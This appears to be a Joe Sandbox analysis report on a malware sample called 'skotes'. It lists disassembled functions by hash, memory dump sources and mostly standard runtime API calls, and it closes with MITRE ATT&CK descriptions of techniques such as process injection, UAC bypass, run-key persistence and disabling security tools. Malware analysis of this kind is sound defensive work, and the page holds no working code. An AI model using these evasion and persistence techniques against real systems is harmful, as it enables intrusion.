Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43100e4aac82da5c570eeabe89da785ae13da619bff254245f45dac3594adc9f
Instruction ID: f87c1f5fd4d7c09a831d0a8e19674b8b158f08052673ffd1bd9d037b2447f9aa
Opcode Fuzzy Hash: 43100e4aac82da5c570eeabe89da785ae13da619bff254245f45dac3594adc9f
Instruction Fuzzy Hash: B72250B3F515144BDB4CCB9DDCA27EDB2E3AFD8218B0E803DA40AE3345EA79D9158644

Function 00AD7049 Relevance: .3, Instructions: 275COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26c18d26ea17bc142d76ae5a9306b90f3cb4fa60150c53f1251e5a4da70bd249
Instruction ID: 214e7a3614368e803587ca4cef28287999b454564d8a5d137bec49455a06c2dd
Opcode Fuzzy Hash: 26c18d26ea17bc142d76ae5a9306b90f3cb4fa60150c53f1251e5a4da70bd249
Instruction Fuzzy Hash: 16B13A316146049FD719CF28C486BA97BB0FF45364F258659F89ACF3A1D335E992CB40

Function 00A94B30 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb5588d76a9f7c6c1ae055b341113f1361387f77c16bc9f4b477cce90eb28078
Instruction ID: d06db57b30bc873e9304639a127e69e1879ad5bc66ccd48d19515d56069a5315
Opcode Fuzzy Hash: cb5588d76a9f7c6c1ae055b341113f1361387f77c16bc9f4b477cce90eb28078
Instruction Fuzzy Hash: D981ED74F052458FEB15CFA9D890BFEBBF1BB1A300F1502A9D850A7392C7359946CBA0

Function 00AD78BB Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e082de5f9698f4c1b5fda1c6cd791e6c0c8bd27d255b3bcd492568494aabbc7b
Instruction ID: 9a4f2b16adc6dbf2f11de7564f4e6d13353f320a15a4d3659f081f42b5bc465f
Opcode Fuzzy Hash: e082de5f9698f4c1b5fda1c6cd791e6c0c8bd27d255b3bcd492568494aabbc7b
Instruction Fuzzy Hash: 5821B673F2043947770CC47E8C5627DB6E1C78C541745423AE8A6EA2C1D968D917E2E4

Function 00AD779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b12bb06bb2d5c9bf550b42a68b0126c3bebdaae37c253ba0b9af8fc1ee934e87
Instruction ID: 5388bc4d248c80548697ac7afd030cf099ec092dee21993ab856bbd44b2207c5
Opcode Fuzzy Hash: b12bb06bb2d5c9bf550b42a68b0126c3bebdaae37c253ba0b9af8fc1ee934e87
Instruction Fuzzy Hash: 3A117723F30C255A675C81AD8C1727EA5D2DBD825075F533AD827E7384E994DE23D290

Function 00AD8860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 74740946a2ea10184657293184ecc65c806bbb05c851d3c1b2322b48964bce3d
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 52112B7760018243E604872DC8B85BFF795EBC53617AD437BD0834B758DA3AE945B600

Function 00AC652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdfbf56554276fc89bdfbe6b6a469e5f466816781e4479bcc3370e39937d2a2d
Instruction ID: d76f38ec6c5f10306e66f54f9f352332edc5d326be2af6a885843458fb1bbeea
Opcode Fuzzy Hash: cdfbf56554276fc89bdfbe6b6a469e5f466816781e4479bcc3370e39937d2a2d
Instruction Fuzzy Hash: 26E08C3414114CAACF25BB18C91EF8C3BA9EF51781F120818F9085A226DB26DE82C790

Function 00ACA302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: 98c155a3b9dfa14ced5401ac4e37778af456c02b9e20a53455bc5f5be5455ac2
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 89E08C32921268EBCB14DB98CA05E9AF3FCEB49B04B66019AF512D3251C370DE00C7D0

Function 00A92EC0 Relevance: 10.8, APIs: 7, Instructions: 272threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00A92F5F
GetCurrentThreadId.KERNEL32 ref: 00A92F7E
__Mtx_unlock.LIBCPMT ref: 00A92FCC
__Cnd_broadcast.LIBCPMT ref: 00A92FE3
__Mtx_unlock.LIBCPMT ref: 00A930F5
GetCurrentThreadId.KERNEL32 ref: 00A93132
__Mtx_unlock.LIBCPMT ref: 00A9319B

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: daa0c447ecadb00fac95cd7a0378dc270748c8d7c994d4561e900eefba8b2946
Instruction ID: b1a9d879509f575ee27f7a5b9a9854c23e7523fac28e10c46bc29305fb254101
Opcode Fuzzy Hash: daa0c447ecadb00fac95cd7a0378dc270748c8d7c994d4561e900eefba8b2946
Instruction Fuzzy Hash: 50A1D371A01205AFEF21DFA4C9447AAB7F8FF15320F148269E816D7291EB35EA04CBD1

Function 00AC4840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00AC4877
___except_validate_context_record.LIBVCRUNTIME ref: 00AC487F
_ValidateLocalCookies.LIBCMT ref: 00AC4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00AC4933
_ValidateLocalCookies.LIBCMT ref: 00AC4988

Strings

csm, xrefs: 00AC491D

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 855e91517c776881a57900591f130e7fba08c375142109618cd0a0e0f3ad5d9a
Instruction ID: a6256b36c98a5f6bc59a7aecdf3bf2e7bb3c0f2d636bb8c6b7c1f45707ce5d1e
Opcode Fuzzy Hash: 855e91517c776881a57900591f130e7fba08c375142109618cd0a0e0f3ad5d9a
Instruction Fuzzy Hash: DA51F334A002599BCF10DF68C890FAE7FB5AF09324F16815DE8189B352C732EA45CB95

Function 00ACCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00ACCC66

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 434c8c87f0f903c0aa60e37dc90f5d9451e4ece6ef191416f9a29d57713d3e7f
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 27B115329042459FDB15CF68C881FAEBBF5EF46360F1641AEE859EB242D6348D42CB60

Function 00AABB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00AABBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00AABBE4
_xtime_get.LIBCPMT ref: 00AABC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00AABC13

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 5ee242c804e61931bfefbd8abddd67a05ec2cb0319bffe8a39085b51fb6880fb
Instruction ID: faf8987d26d2c238484cb275ea7f208a54162b9b68b0d661b27bf4549390aada
Opcode Fuzzy Hash: 5ee242c804e61931bfefbd8abddd67a05ec2cb0319bffe8a39085b51fb6880fb
Instruction Fuzzy Hash: 5A213271A00219AFDF00EFA4DD81DBEB7B9EF09720F110029F601BB291DB709D419BA0

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
